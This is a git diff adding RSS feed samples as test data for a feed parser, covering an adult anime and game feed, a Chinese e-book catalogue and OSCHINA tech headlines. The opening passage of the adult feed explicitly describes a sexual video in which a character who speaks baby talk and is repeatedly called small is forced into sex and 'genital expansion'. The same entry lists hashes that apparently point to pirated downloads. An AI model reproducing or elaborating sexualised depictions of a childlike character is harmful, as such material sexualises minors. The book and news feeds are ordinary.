    お菓子を食べたり、お風呂を満喫!

    + + + +

    ももたんの可愛らしさと、癒しをテーマにしたパートです。

    + + + +

    ■メイン動画(B)あまあまっお耳かき編[17分58秒]

    + + + +

    「ももたん、お願いがあるんでしゅけどぉ・・・」
    どうしてもおにぃにぃの耳かきがしたいももたん、小さな体を生かした初めての耳かきに挑戦!
    一生懸命動くももたんを画面で鑑賞しながら、耳かきされる感覚をヘッドホンでお楽しみください。

    + + + +

    バイノーラル、耳かき、癒しをテーマにしたパートです。

    + + + +

    ■メイン動画(C)ぼーそー!!初体験編[60分38秒]

    + + + +

    「ももたんちょーれつ!種付けされちゃうのれしゅう!」
    お耳かきを終えたももたんはなぜか体が熱くなって、、、こっそりオナニーを始めてしまうのでした。
    おにぃにぃに見つかったももたんは、とってもはじゅかしいあんな事やこんな事!を強要?され、
    ぶっかけられたり、電動ドリルでイカされたり
    最後には小さな割れ目で強引セックシュ!性器拡張、大好きなおにぃにぃと初体験しちゃうのでしたぁ

    + + + +

    ももたんのオナニーやセックスをテーマにしたパートです。

    + + + +

    「あまあま・オナニー・バイブ・ぶっかけ・2穴責め・性器拡張・中だし・種付け・電動ドリル・クンニ・耳かき・バイノーラル」

    + + + +
    + + + +


    ■構成

    + + + +

    mp4動画総尺97分

    + + + +

    1)オープニング[1分8秒]

    + + + +

    2)ちょーれつ!お世話係編[16分41秒]

    + + + +

    3)あまあまっお耳かき編[17分58秒]

    + + + +

    4)ぼーそー!!初体験編[60分38秒]

    + + + +

    5)エンディング[1分27秒]

    + + + +

    の5本セット

    + + + +

    おまけ(1)
    オープニングとエンディング以外[ボイス&SEのみ]のmp3データ

    + + + +

    おまけ(2)
    声優(亜久城皐月)様のボイスのみmp3データ(本編未収録のボイス多数含む)がおまけで付きます。

    + + + +

    ■仕様

    + + + +

    全カットボイス有り
    耳かきカットを中心に一部バイノーラル音声を使用しています。
    ループ動画数126
    高画質1280×720 (ハーフHD)

    + + + +

    ※綿棒での耳かきパート、耳かき音素材はシロクマの嫁様の素材を使用しております

    + + + +

    ※mp4ファイル動作可能な環境が必要です
    デモムービーにて動作確認をお願いします

    + + + +

    ■スタッフ

    + + + +
    + + + +

    CV・亜久城皐月
    CG・ポテトマイン(MiMiA Cute)

    +]]>
    + https://www.hacg.site/anime/potato-mine-%e3%81%a1%e3%82%87%e3%83%bc%e3%82%8c%e3%81%a4%e3%81%8a%e4%b8%96%e8%a9%b1%e4%bf%82%e3%82%82%e3%82%82%e3%81%9f%e3%82%93/feed/ + 0 +
    + + [にじいろばんび] にーとと天使とえっちな家族 + https://www.hacg.site/anime/%e3%81%ab%e3%81%98%e3%81%84%e3%82%8d%e3%81%b0%e3%82%93%e3%81%b3-%e3%81%ab%e3%83%bc%e3%81%a8%e3%81%a8%e5%a4%a9%e4%bd%bf%e3%81%a8%e3%81%88%e3%81%a3%e3%81%a1%e3%81%aa%e5%ae%b6%e6%97%8f/ + https://www.hacg.site/anime/%e3%81%ab%e3%81%98%e3%81%84%e3%82%8d%e3%81%b0%e3%82%93%e3%81%b3-%e3%81%ab%e3%83%bc%e3%81%a8%e3%81%a8%e5%a4%a9%e4%bd%bf%e3%81%a8%e3%81%88%e3%81%a3%e3%81%a1%e3%81%aa%e5%ae%b6%e6%97%8f/#respond + Sun, 05 Apr 2020 01:47:45 +0000 + + + + + + https://www.hacg.site/?p=4494 + + + + + +


    一个3D游戏,也可以说是3D互动视频动画,总共有4个女性角色。
    根据选择攻略不同的女主。给看视频增加一点点趣味性。
    但是只能在PC上使用就有点舍本逐末了,哈哈,不过还好有提取版,
    不喜欢玩PC可以直接看提取动画。视频播放器00:0005:59

    + + + +

    にーとと天使とえっちな家族

    + + + +

    会社:にじいろばんび
    配信開始日: 2020/03/06 00:00
    最終更新日 :2020/03/18 17:00
    利用期限:無期限
    ファイル容量:3756.37MB
    ゲームジャンル:その他
    シリーズ:—-
    題材:オリジナル
    ジャンル:3DCG
    その他ゲーム:成人向け、男性向け、恋愛、貧乳・微乳、巨乳、処女、制服、動画・アニメーション、和服・浴衣、新作

    + + + +
    + + + +

    ある日ニートのもとに天使が現れた!
    「おまえには他人と同居してもらう」
    そして発動する人類ニート脱出計画!!
    これは主人公が立派に更生していくゲームである…?

    + + + +
    + + + +

    ■システム
    主人公の家に同居した家族と仲良くなっていく恋愛ゲームです
    原版794129D5C0CEA5F72D558539A5D6DC7C62108B5A
    好感度が上がればデートに誘うことも出来ます
    もちろんそれ以上の事も…

    + + + +
    + + + +

    ■ムービモード
    回想モードでHシーンのリプレイが可能です
    すべて解放済みですので最初から見るこが出来るようになっています
    動画の種類で喘ぎ声を選択できるものもありますので好きな順番でカスタム可能です

    + + + +

    CV
    遠藤茉愛 (莉子)
    本多未季 (莉菜)
    しりかげる (静江)
    涼花みなせ (桜子)

    + + + +
    + + + +

    体験版にて動作確認をお願いします

    + + + +

    アップデートは再ダウンロードでお願いします
    初めにお読みくださいのテキスト内にセーブデータの移し方を記載してあります
    提取7129e92deca9a23b4f5c1a732a16448a289dc996
    最新情報や追加情報などはFANTIAやブログなどをご確認ください

    + + + +
    + + + +
    +]]>
    + https://www.hacg.site/anime/%e3%81%ab%e3%81%98%e3%81%84%e3%82%8d%e3%81%b0%e3%82%93%e3%81%b3-%e3%81%ab%e3%83%bc%e3%81%a8%e3%81%a8%e5%a4%a9%e4%bd%bf%e3%81%a8%e3%81%88%e3%81%a3%e3%81%a1%e3%81%aa%e5%ae%b6%e6%97%8f/feed/ + 0 +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/warn/https-www-mlook-mobi-feed-books.xml b/tests/feedlib/testdata/parser/warn/https-www-mlook-mobi-feed-books.xml new file mode 100644 index 0000000..e991171 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-mlook-mobi-feed-books.xml @@ -0,0 +1,143 @@ + + + + mLook 看书,(精校电子书,提供精致的书籍和服务) + mLook提供精致的书籍和服务,包括各个平台的App,Kindle和多看的邮件推送。 + 包括书籍在线浏览和评分,书友的线上交流 + //www.mlook.mobi + //www.mlook.mobi/img/month_2004/202004060839038760_100_133.jpg + 别睡,这里有蛇 + 1977年,丹尼尔·埃弗里特携妻子和三个年幼的孩子来到亚马孙丛林中皮拉罕人的部落,他想要传教,改变皮拉罕人的宗教信仰。但他发现皮拉罕语违背了所有现存的语言理论,并反映出一种远离当代认识的生活方式。例如皮拉罕人没有记数系统,没有统一的颜色的称谓,没有战争和个人财产的概念,没有过去与未来,完全活在当下。埃弗里特开始痴迷于他们的语言、文化,并沉溺于他们的生活方式,久而久之,他最终失去了传教的信念。

    这本书是埃弗里特30多年客旅丛林的生活记录。在这30多年里,埃弗里特的妻儿差一点因疟疾病死他乡,埃弗里特也曾因触犯皮拉罕人的自由而被群起攻之,但更多的是,埃弗里特分享了他与皮拉罕人共处时的种种幸福的点滴:打鱼、捕猎、修房子、教他们算数和制造独木舟……

    埃弗里特以放弃现代文明生活的代价换来书中与皮拉罕人一起生活的奇闻轶事。同时,这本书也是对现代语言和文化的和探索。皮拉罕人让埃弗里特反思现代文明,并试图让我们思考,除了我们理解的生活方式外,人生还会有怎样的可能。

    ]]>
    + [美] 丹尼尔·埃弗里特 + 9787510466588Mon, 06 Apr 2020 08:39:01 +0000 + 8.5 + //www.mlook.mobi/book/info/65628 + //www.mlook.mobi/book/info/65628 +
    + //www.mlook.mobi/img/month_2004/202004060528451330_100_133.jpg + 中村佑介的插画世界Ⅰ:蓝 + 大热动画《春宵苦短,少女前进吧》《四叠半神话大系》角色原案、森见登美彦的御用画师中村佑介,十年创作精选!

    出道后第一本纪念画集,中文世界首度引进!

    复古纤细的和风插画,水手服少女与玫瑰色青春交织的物语

    ? 编辑推荐

    校服的深蓝色、 晴空的湛蓝色,或者深海的蓝色,流淌在这本书深处的色彩。

    倘若你已看到他的画册,那彻底沦陷就是唯一结局。

    ⭐ 大神级导演汤浅政明动画《春宵苦短,少女前进吧!》《四叠半神话大系》人物原案,奇幻作家森见登美彦的御用画师,日本国民级画师中村佑介十年创作精选!

    「森见登美彦 × 中村佑介 × 汤浅政明」的天才组合之作,斩获多项国际电影节大奖。从文字到画纸再到电影,中村佑介的笔尖凝合了森见登美彦小说的灵魂,汤浅政明将其摇滚成一首京都的风物诗,在广大爱好者间掀起一股“春宵苦短”热潮!

    此外,中村佑介不仅为东川笃哉《推理要在晚餐后》、赤川次郎《水手服与机关枪》,以及太宰治、江户川乱步、石田衣良等知名作家的小说绘制封面插图,为超人气乐队“亚细亚功夫世代”制作多张专辑封面,甚至还登上日本中学音乐教材封面,与阪急电车合作设计限定列车「爽风」,可谓日本国民级人气画师。

    ⭐ 出道十年作品大集结,中文世界首度引进!小说封面、音乐海报、珍贵手绘稿一次饱览!

    《中村佑介的插画世界Ⅰ:蓝》是中村佑介投身创作十年后出版的第一本纪念画集,此次引进也是其画集在中文世界首次问世。作者精选了大学时代以来截至2009年的各类插画,书中收录了包括早期手绘稿、音乐专辑封面、畅销书封面、明信片及海报在内的多个品类作品,按图片编号排序,以流淌在记忆深处的蓝为主线,全方位展示了中村佑介的创作功力。

    ⭐ 复古又纤细的和风插画,引领文艺世代的浪漫绮想,水手服少女与玫瑰色青春交织的物语

    中村佑介画风,既有大正昭和的旧时代版画韵味,又有新艺术风格般的轻盈想象力,构图大胆灵动,配色深具和风特色。“我喜欢的女性已经画在画里了。”中村佑介擅长描绘水手服少女与制服少年间,若有若无的青春悸动。浪漫幻想与真实场景交叠,呈现出玻璃箱庭般的异想世界。

    ⭐ 全方位复刻日版开本,高品质用纸完美呈现中村笔下的梦幻世界

    精致而经典的方形开本,专为中村佑介的作品量身定制,最大程度地展现了画作本身独特的艺术情调。创新式的构图、精妙的细节、鲜活的人物形象以及穿透悠远、包容万物般的艺术特质,在这方寸之间尽显风华。内文用纸精选209g厚实不透色、显色效果一流的高规格特种纸,使张张画作都具有独立装框作品的手感和质感。

    ? 内容简介

    逝去的时光里校服的深蓝色、万里无云的晴空的天蓝色、深海里幽暗的墨蓝色以及那垂落的泪珠的淡蓝色……流淌在整本画集里的各种各样的蓝色交织出一个令人神往的梦幻世界。

    本书是中村佑介创作十年后出版的第一本画集,收录了作者从大学时代到 2009 年为止创作的几乎所有的作品。在这近二百幅作品中,感受复古与新潮结合的画风,清爽百变的少女形象,在天马行空的瑰丽纸页中纵情想象。

    ? 名人推荐

    他真的非常聪明,完全是一个妖怪!设计原案之类的话,他的思考时间确实很长,但一旦开始工作,就能非常迅速的完成任务。他的作品色彩与线条都非常具有特点,给我的感觉类似于版画,也就是印刷品,我个人感觉和我的作品风格非常符合。此外,他作品的构图设计都非常前卫,特别是对当代少女的观察别具一格,我的创作也有很多他的痕迹。

    —— 汤浅政明,《春宵苦短,少女前进吧!》动画导演

    我可没有中村君画得这么可爱,不过抱着熊猫的样子真的好像我。要是我也能有这么可爱就好了。头发的盘法和熊猫都画得精准无比,真叫人吃惊。而且也不失女性的柔美,棒极了!

    —— 黑柳彻子,《窗边的小豆豆》作者、节目主持人

    天才佑介的绝美插画都收录在一册中,真是令人激动。这肯定是一本一辈子都看不腻的画册,上学时他送给我一幅画,我看了十年也不觉得腻。所以肯定错不了。

    —— 石黑正数,《女仆咖啡厅》漫画作者

    仿佛是命中注定的缘分,2002 年,我对中村君的插画一见钟情。那时我心里只有一个念头:给我们的唱片画封套的人非中村佑介莫属!

    —— 后藤正文,“亚细亚功夫世代”乐队主唱

    看到中村佑介的画,会有恋爱的感觉。画中处处流淌着美妙的悸动感和揪心的故事,令女孩(有时也有男孩)们纷纷倾倒。实在是感伤又浪漫。倘若你已经看到他的画册,那彻底沦陷就是唯一结局。

    —— 桥本小百合,音乐人

    晴朗的日子里仰望蓝天,澄明中又带着点儿忧伤。中村君的画就给人这种感觉。

    —— 近藤洋子,漫画家

    我喜欢中村君的画,他的画仿佛将狭小拥挤的大阪街道上的诸般混沌统统收入玻璃箱中。这样的箱庭世界,现在也引发少年少女们的共鸣,令他们想要进入其中。这份渴求就是通行证,我们得以瞬间成为中村佑介世界的居民。

    —— 小田岛等,插画家、设计师

    ]]>
    + [日]中村佑介 + 9787535688545Mon, 06 Apr 2020 05:28:42 +0000 + 9.1 + //www.mlook.mobi/book/info/65627 + //www.mlook.mobi/book/info/65627 +
    + //www.mlook.mobi/img/month_2004/202004051643383763_100_133.jpg + 破围 + 《破围:大区经理的智弈》主要讲述了:突围式销售、全程深度写实,心智与承受力的强悍对决。一位世界百强企业区域经理的真实成长历程,一部让8000万销售人员提升职业能力的销售实战小说。沈默成为艾洁公司最年轻的大区经理之后,会发生什么样的事情呢?初来乍到,下属不合作、客户刁难、领导怀疑,高额的费用欠账、大量的库存积压、巨大的指标差距,让沈默步履维艰。突出重围势在必行!沈默殚精竭虑,稳扎稳打,一步步争取各方面的资源,灵活运用销售技巧,驾驭复杂局面,蓄势待发……

    ]]>
    + 元亨 + 9787807670650Sun, 05 Apr 2020 16:43:36 +0000 + 7.1 + //www.mlook.mobi/book/info/65626 + //www.mlook.mobi/book/info/65626 +
    + //www.mlook.mobi/img/month_2004/202004051214154711_100_133.jpg + Dragonlance Chronicles + More than three million readers have witnessed the return of the dragons...And now the books that began the best-selling 'dragonlance' saga are collected in their entirety in this special edition, along with all of the artwork from the trilogy. This splendid collector's edition is a must for the millions of readers who fell in love with the fantasy world of Krynn.

    ]]>
    + Weis, Margaret; Hickman, Tracy + 9780140115406Sun, 05 Apr 2020 12:14:12 +0000 + 0.0 + //www.mlook.mobi/book/info/65625 + //www.mlook.mobi/book/info/65625 +
    + //www.mlook.mobi/img/month_2004/202004051010498641_100_133.jpg + 最后一个夏天 + 被誉为“全景式”长篇小说的奠基者康·西蒙诺夫是苏联著名作家,他擅长表现恢弘的历史场景和深厚的人生哲理。本书是他的三部曲长篇小说《生者与死者》系列的第三部分,描写了1944年夏天苏联红军解放白俄罗斯的战役。

    小说的主人公谢尔皮林、辛佐夫等代表了20世纪30年代苏联遭受镇压的一批人的命运。尽管他们遭受到了不公平的对待,但爱国之心却从来没有改变过,人的良心从来没有泯灭过。在祖国遭受德国法西斯分子入侵之际,他们毫无畏惧地战斗在最前线。小说充分展现了苏联军人对胜利的坚定信念和对祖国强烈的责任感。作者在小说中塑造了200多个人物,叙述了战争中大量真实的生活细节,其中多是作者在战场上亲身的经历,所以小说具有真实生动、细腻感人的特点。更为可贵的是三部曲不仅表现了战争时期人的命运,而且在整个苏联文学史中第一次触及到了一系列尖锐的现实问题。三部典因此曾获1974年度列宁奖金。

    ]]>
    + [苏]康·西蒙诺夫 + 9787506021876Sun, 05 Apr 2020 10:10:46 +0000 + 8.1 + //www.mlook.mobi/book/info/65624 + //www.mlook.mobi/book/info/65624 +
    + //www.mlook.mobi/img/month_2004/202004051006258549_100_133.jpg + 生者与死者 + 《生者与死者》是他的三部曲长篇小说《生者与死者》系列的第一部分,主要描写第二次世界大战初期苏联红军在西部边境作战的场景。被誉为“全景式”长篇小说的奠基者康·西蒙诺夫是苏联著名作家,他擅长表现恢弘的历史场景和深厚的人生哲理。

    小说的主人公谢尔皮林、辛佐夫等代表了20世纪30年代苏联遭受镇压的一批人的命运。尽管他们遭受到了不公平的对待,但爱国之心却从来没有改变过,人的良心从来没有泯灭过。在祖国遭受德国法西斯分子入侵之际,他们毫无畏惧地战斗在最前线。小说充分展现了苏联军人对胜利的坚定信念和对祖国强烈的责任感。作者在小说中塑造了200多个人物,叙述了战争中大量真实的生活细节,其中多是作者在战场上亲身的经历,所以小说具有真实生动、细腻感人的特点。更为可贵的是三部曲不仅表现了战争时期人的命运,而且在整个苏联文学史中第一次触及到了一系列尖锐的现实问题。三部典因此曾获1974年度列宁奖金。

    ]]>
    + 康·西蒙诺夫 + 9787506021890Sun, 05 Apr 2020 10:06:23 +0000 + 9.5 + //www.mlook.mobi/book/info/65623 + //www.mlook.mobi/book/info/65623 +
    + //www.mlook.mobi/img/month_2004/202004051005505768_100_133.jpg + 军人不是天生的(上下卷) + 《军人不是天生的》是苏联作家西蒙诺夫创作的反映卫国战争题材的三步曲长篇小说的第二部,描写1942-1943年斯大林格勒战役的情况。小说不仅描写了战争的残酷场面,而且塑造了一个个鲜活的红军战士形象。这些红军战士并不是天生的军人,而是从和平时期的各条战线走上抗击德国法西斯前线的。他们经过战斗的洗礼,经过无数的流血和牺牲,最终成为所向无敌的军队。

    第二次世界大战结束60周年之际,“战争文学经典重读”推出了苏联,尽管未收到足够的反响,却仍然值得我们关注。被称为“全景式”长篇小说奠基者的苏联作家康·西蒙诺夫用15年时间创作的战争三部曲《生者与死者》、《军人不是天生的》、《最后一个夏天》,描写的是1941年至1945年苏联卫国战争的全过程,从战争初期苏联红军的全线溃败到1944年夏天解放白俄罗斯战役的胜利,既展现了前线战争的残酷,也揭示了后方人民生活的艰苦,同时对主人公情感生活以及战时心理状态做了真切体现。诺贝尔奖得主肖洛霍夫的长篇小说《他们为祖国而战》在本套书中也颇受瞩目。有“俄罗斯英雄”之称的列昂诺夫的自传体回忆录《独臂长空》,以及不足两万字的长篇通讯报道《丹娘》,都是中国读者颇为熟悉的英雄人物。

    本丛书从不同侧面记录和表现了俄国人民和军队前仆后继、顽强战斗并最终取得胜利的可歌可泣的历史真实和精神风貌,会对中国读者,特别是年轻一代的中国读者具有重要的史料价值、艺术价值和教育价值。

    ]]>
    + 康·西蒙诺夫 + 9787506021883Sun, 05 Apr 2020 10:05:47 +0000 + 8.6 + //www.mlook.mobi/book/info/65622 + //www.mlook.mobi/book/info/65622 +
    + //www.mlook.mobi/img/month_2004/202004051002421038_100_133.jpg + 咸阳宫 + 一位读者这样评价该书:“那是伟大的书,布衣之怒,圣贤之心,明写吕不韦,暗写中国历史童年时代的另一种发展可能:写士也许可以活下来,暴政也许可以不绵延。”

    ]]>
    + 林鹏 + 9787200023879Sun, 05 Apr 2020 10:02:40 +0000 + 8.9 + //www.mlook.mobi/book/info/65621 + //www.mlook.mobi/book/info/65621 +
    + //www.mlook.mobi/img/month_2004/202004050610416778_100_133.jpg + Upheaval + In his earlier bestsellers Guns, Germs and Steel and Collapse, Jared Diamond transformed our understanding of what makes civilizations rise and fall. Now, in the final book in this monumental trilogy, he reveals how successful nations recover from crisis through selective change — a coping mechanism more commonly associated with personal trauma.

    In a dazzling comparative study, Diamond shows us how seven countries have survived defining upheavals in the recent past — from US Commodore Perry’s arrival in Japan to the Soviet invasion of Finland to Pinochet’s regime in Chile — through a process of painful self-appraisal and adaptation, and he identifies patterns in the way that these distinct nations recovered from calamity. Looking ahead to the future, he investigates whether the United States, and the world, are squandering their natural advantages, on a path towards political conflict and decline. Or can we still learn from the lessons of the past?

    Adding a psychological dimension to the awe-inspiring grasp of history, geography, economics, and anthropology that marks all Diamond’s work, Upheaval reveals how both nations and individuals can become more resilient. The result is a book that is epic, urgent, and groundbreaking.

    ]]>
    + Jared Diamond + 9780316409131Sun, 05 Apr 2020 06:10:39 +0000 + 8.8 + //www.mlook.mobi/book/info/65620 + //www.mlook.mobi/book/info/65620 +
    + //www.mlook.mobi/img/month_2004/202004040731143183_100_133.jpg + 欲望的旗帜 + 小说中会议执行主席贾兰坡教授突然神秘自杀,紧接着发生了一系列离奇的事件宋子衿疯狂、会议赞助商被捕……而曾山与张末的爱情更是让人费解:他们一方面深陷于欲望编织的囚笼之中,另一方面则试图冲破它的束缚,复活古老的爱情诗意,寻找自身生命残剩的一点点真实感。正是这一点“真实感”。使他们的心灵靠得如此之近;同时也因为这种,“真实感”的脆弱和“奢侈”,他们又一次次地远离。“犹疑”是他们生存的最基本的轮廓,欲望的旗帜升起来了;没有安慰,没有援手,没有归宿,没有和解,剩下的只是一个迷惘的信念:活在真实之中……小说描述了社会整体性价值伦理崩坍之后,困扰着人们的种种欲望以及这欲望的变体……

    ]]>
    +   格非 + 9787531327516Sat, 04 Apr 2020 07:31:11 +0000 + 7.7 + //www.mlook.mobi/book/info/65619 + //www.mlook.mobi/book/info/65619 +
    + //www.mlook.mobi/img/month_2004/202004040348514584_100_133.jpg + 苏世民:我的经验与教训 + 这是一部投资、管理类图书,是一部关于成功创业的书,还是一部处世哲学。

    苏世民创立的黑石集团是全球私募股权资产管理公司和房地产管理公司的巨头。截至2019年第三季度,黑石管理的资金总额超过5500亿美元。黑石集团人均利润是高盛的9倍,过去30余年平均回报率高达30%以上。美国排名前50的公司和养老基金中,70%以上都有黑石的投资。

    苏世民以其严谨的投资流程、创新的交易方式、多样的业务领域、做好每一件事而闻名。他以独树一帜的投资原则和管理原则带领着黑石集团一步步成为全球私募股权和房地产投资公司巨头。他花费一生时间去学习、去思考如何成功、如何实现梦想,他将这些几十年积累下来的经验与教训都浓缩在这部书中。

    这本书没有高深的概念和理论,也没有跌宕起伏的情节叙述,但其中深藏精妙而深厚的投资管理技巧,以及取得成功的经验与教训,也不乏人生信条、人生感悟。投资、管理领域的专业人士,学生、研究人员、企业白领等大众读者都能从这本书中获益并发挥自己的潜能。

    ]]>
    + [美] 苏世民 + 9787521713305Sat, 04 Apr 2020 03:48:48 +0000 + 9.3 + //www.mlook.mobi/book/info/65618 + //www.mlook.mobi/book/info/65618 +
    + //www.mlook.mobi/img/month_2004/202004040205386219_100_133.jpg + C++语言程序设计 + 《C++语言程序设计》从刑法解释面临的困境切入,引出刑法论证问题,第一章探讨了刑法论证方法的基础问题,以便为其后各章提供理论分析工具。第二至四章,分别就“视角切换”论证方法及刑法体系分析论证法、刑法的合宪性论证方法、刑法国际化论证方法、程序性论证方法及民刑关联论证方法,罪与刑之要素关联论证法、罪之要素关联论证法及刑之要素关联论证法等进行了梳理、归纳及评析。第五章则就刑法论证方法的综合运用问题进行了探讨。

    ]]>
    + 郑莉 + 9787302084563Sat, 04 Apr 2020 02:05:36 +0000 + 7.2 + //www.mlook.mobi/book/info/65617 + //www.mlook.mobi/book/info/65617 +
    + //www.mlook.mobi/img/month_2004/202004030854167451_100_133.jpg + 带着鲑鱼去旅行 + 本书是艾柯的一些专栏文章的集成册子,通过作者对于生活中的戏谑、挑衅、怪诞、极智,艾柯对我们从未想过的问题予以解答,又对我们已视为常识的问题之答案进行质疑。《带着鲑鱼去旅行》以艾柯一贯的横溢才华,游走于无用、有趣和出人意料之间。本书并非所有篇目都是仿讽之作,其中也有说教意图的文章。

    ]]>
    +   [意] 翁贝托·埃科 + 9787563349197Fri, 03 Apr 2020 08:54:12 +0000 + 7.8 + //www.mlook.mobi/book/info/65616 + //www.mlook.mobi/book/info/65616 +
    + //www.mlook.mobi/img/month_2004/202004030514162550_100_133.jpg + 影响的焦虑 + 本书从精神分析学的角度研究诗人对诗人的影响。作者认为经典树立起了一个不可企及的高度,诗的历史形成乃是一代代诗人误读各自前驱的结果。通过运用弗洛伊德的家庭罗曼史理论、尼采的超人意志论和保罗·德·曼的文本误读说,作者阐发了传统影响的焦虑感,提出了独树一帜的“诗的误读”理论——“逆反批评”。本书1973年在美国出版以后,引起欧美文学评论界的高度关注。有西方学者评价认为,布鲁姆用“一本薄薄的书震动了所有人的神经”。

    ]]>
    + 哈罗德•布鲁姆 + 9787534371585Fri, 03 Apr 2020 05:14:05 +0000 + 8.5 + //www.mlook.mobi/book/info/65615 + //www.mlook.mobi/book/info/65615 +
    + //www.mlook.mobi/img/month_2004/202004030306251062_100_133.jpg + 优雅,从姿势开始 + 有的人身姿曼妙,吸引眼球;有的人气质出众,十分上相;有的人举止优雅,谈吐迷人。

    生活中总有这种人,这不仅是因为她们脸蛋漂亮,打扮时尚,真正的秘密在于她们的姿势和动作。

    一个姿势的不同,就能区分出气质美人和普通人。日本模特指导老师教你从走路方式、手的摆放等日常的一举一动中改变自己,用优雅的姿势提升气质!从今天开始,改变姿势,朝着优雅美人奋进吧!这就是美的本质。

    一本书帮你提升气质,让你在人前更加大方自信,让你工作时更加有魅力,让你举手投足之间都在释放着美的气质。

    ]]>
    + [日] 彩希子 + 9787559431868Fri, 03 Apr 2020 03:06:22 +0000 + 7.5 + //www.mlook.mobi/book/info/65614 + //www.mlook.mobi/book/info/65614 +
    +
    \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/https-www-oschina-net-news-rss-show-industry.xml b/tests/feedlib/testdata/parser/warn/https-www-oschina-net-news-rss-show-industry.xml new file mode 100644 index 0000000..e73421f --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-oschina-net-news-rss-show-industry.xml @@ -0,0 +1,416 @@ + + + + OSCHINA 社区最新新闻 + https://www.oschina.net/news/rss + OSCHINA - 中文开源技术交流社区 + zh-CN + Mon, 06 Apr 2020 08:28:46 +0800 + + https://www.oschina.net + https://www.oschina.net/img/logo.gif + OsChina.NET + + + Chrome OS 的 Linux 终端迎来一系列新功能,运行更轻松 + https://www.oschina.net/news/114665/new-linux-terminal-in-chrome-os-83 + 综合新闻 + + Mon, 06 Apr 2020 08:28:46 +0800 + https://www.oschina.net/news/114665/new-linux-terminal-in-chrome-os-83 + + + 每日一博 | 探秘 ThreadLocal 的实现机制与小地雷 + https://my.oschina.net/wangzhenchao/blog/3212438 + 综合新闻 + + Mon, 06 Apr 2020 07:50:03 +0800 + https://my.oschina.net/wangzhenchao/blog/3212438 + + + MySQL 8.0 来了,逆之者亡... + https://my.oschina.net/yejr/blog/3219186 + 综合新闻 + + Mon, 06 Apr 2020 07:47:37 +0800 + https://my.oschina.net/yejr/blog/3219186 + + + 微软如何改进 Microsoft Edge 的滚动效果? + https://www.oschina.net/news/114661/ms-edge-scrolling-personality-improvements + 综合新闻 + + Mon, 06 Apr 2020 07:41:16 +0800 + https://www.oschina.net/news/114661/ms-edge-scrolling-personality-improvements + + + 华为加入 OIN 社区 + https://www.oschina.net/news/114659/huawei-joins-open-invention-network + 综合新闻 + + Mon, 06 Apr 2020 07:40:12 +0800 + https://www.oschina.net/news/114659/huawei-joins-open-invention-network + + + 工作一年,Java 程序员该如何规划自己的技术体系? + https://www.oschina.net/question/3774191_2315460 + 综合新闻 + + Sun, 05 Apr 2020 08:52:01 +0800 + https://www.oschina.net/question/3774191_2315460 + + + 每日一博 | 那些年被面试官怼的 MySQL 索引 + https://my.oschina.net/u/4062805/blog/3216265 + 综合新闻 + + Sun, 05 Apr 2020 08:34:03 +0800 + https://my.oschina.net/u/4062805/blog/3216265 + + + TIOBE 4 月榜单:少儿编程语言 Scratch 进入 TOP 20 + https://www.oschina.net/news/114644/tiobe-index-202004 + 综合新闻 + + Sun, 05 Apr 2020 08:28:17 +0800 + https://www.oschina.net/news/114644/tiobe-index-202004 + + + 【一周】VSCode开源替代框架Eclipse Theia 1.0 | 能否挑战TensorFlow?国内开源了几大AI框架 + https://www.oschina.net/question/3820517_2315741 + 综合新闻 + + Sun, 05 Apr 2020 08:21:28 +0800 + https://www.oschina.net/question/3820517_2315741 + + + GNU Guix 将终止对 Linux 内核的支持 + https://www.oschina.net/news/114642/guix-deprecating-support-for-the-linux-kernel + 综合新闻 + + Sun, 05 Apr 2020 08:17:39 +0800 + https://www.oschina.net/news/114642/guix-deprecating-support-for-the-linux-kernel + + + Chrome 浏览器计划追踪你的多媒体播放记录 + https://www.oschina.net/news/114641/chrome-prepares-to-track-your-media-playback-history + 综合新闻 + + Sun, 05 Apr 2020 08:17:21 +0800 + https://www.oschina.net/news/114641/chrome-prepares-to-track-your-media-playback-history + + + Rust 文档团队解散 + https://www.oschina.net/news/114631/goodbye-rust-docs-team + 综合新闻 + + Sat, 04 Apr 2020 09:19:41 +0800 + https://www.oschina.net/news/114631/goodbye-rust-docs-team + + + Firefox 修复两项 0 day 漏洞,建议用户尽快升级 + https://www.oschina.net/news/114630/firefox-gets-fixes-for-two-zero-days + 综合新闻 + + Sat, 04 Apr 2020 09:07:45 +0800 + https://www.oschina.net/news/114630/firefox-gets-fixes-for-two-zero-days + + + OpenWRT 使用 HTTP 连接传输更新,易遭受中间人攻击 + https://www.oschina.net/news/114629/openwrt-is-vulnerable-to-attacks + 综合新闻 + + Sat, 04 Apr 2020 08:43:00 +0800 + https://www.oschina.net/news/114629/openwrt-is-vulnerable-to-attacks + + + 谷歌宣布暂时回滚 Chrome 隐私功能,以确保疫情期间网站稳定性 + https://www.oschina.net/news/114626/temporarily-rolling-back-samesite + 综合新闻 + + Sat, 04 Apr 2020 08:31:36 +0800 + https://www.oschina.net/news/114626/temporarily-rolling-back-samesite + + + 每日一博 | 神经网络究竟能否模拟人脑? + https://my.oschina.net/u/4486736/blog/3217428 + 综合新闻 + + Sat, 04 Apr 2020 08:30:11 +0800 + https://my.oschina.net/u/4486736/blog/3217428 + + + 世界卫生组织与腾讯加深合作,新冠肺炎 AI 自查助手全球开源 + https://www.oschina.net/news/114617/tencent-covid-19-self-triage-assistant + 综合新闻 + + Fri, 03 Apr 2020 22:55:12 +0800 + https://www.oschina.net/news/114617/tencent-covid-19-self-triage-assistant + + + FydeOS 正式登陆 AMD Ryzen 平台 + https://www.oschina.net/news/114614/fydeos-news + 综合新闻 + + Fri, 03 Apr 2020 19:56:28 +0800 + https://www.oschina.net/news/114614/fydeos-news + + + 中国开源项目 Milvus 加入 LF AI 孵化,立志成为最流行的 AI 数据平台 + https://www.oschina.net/news/114603/milvus-joining-lf-ai + 综合新闻 + + Fri, 03 Apr 2020 10:26:56 +0800 + https://www.oschina.net/news/114603/milvus-joining-lf-ai + + + 挑战 TensorFlow 与 PyTorch,3 月深度学习框架集中爆发 + https://my.oschina.net/editorial-story/blog/3217606 + 综合新闻 + + Fri, 03 Apr 2020 08:32:39 +0800 + https://my.oschina.net/editorial-story/blog/3217606 + + + 物尽其用,没有大显存也能跑深度学习项目 + 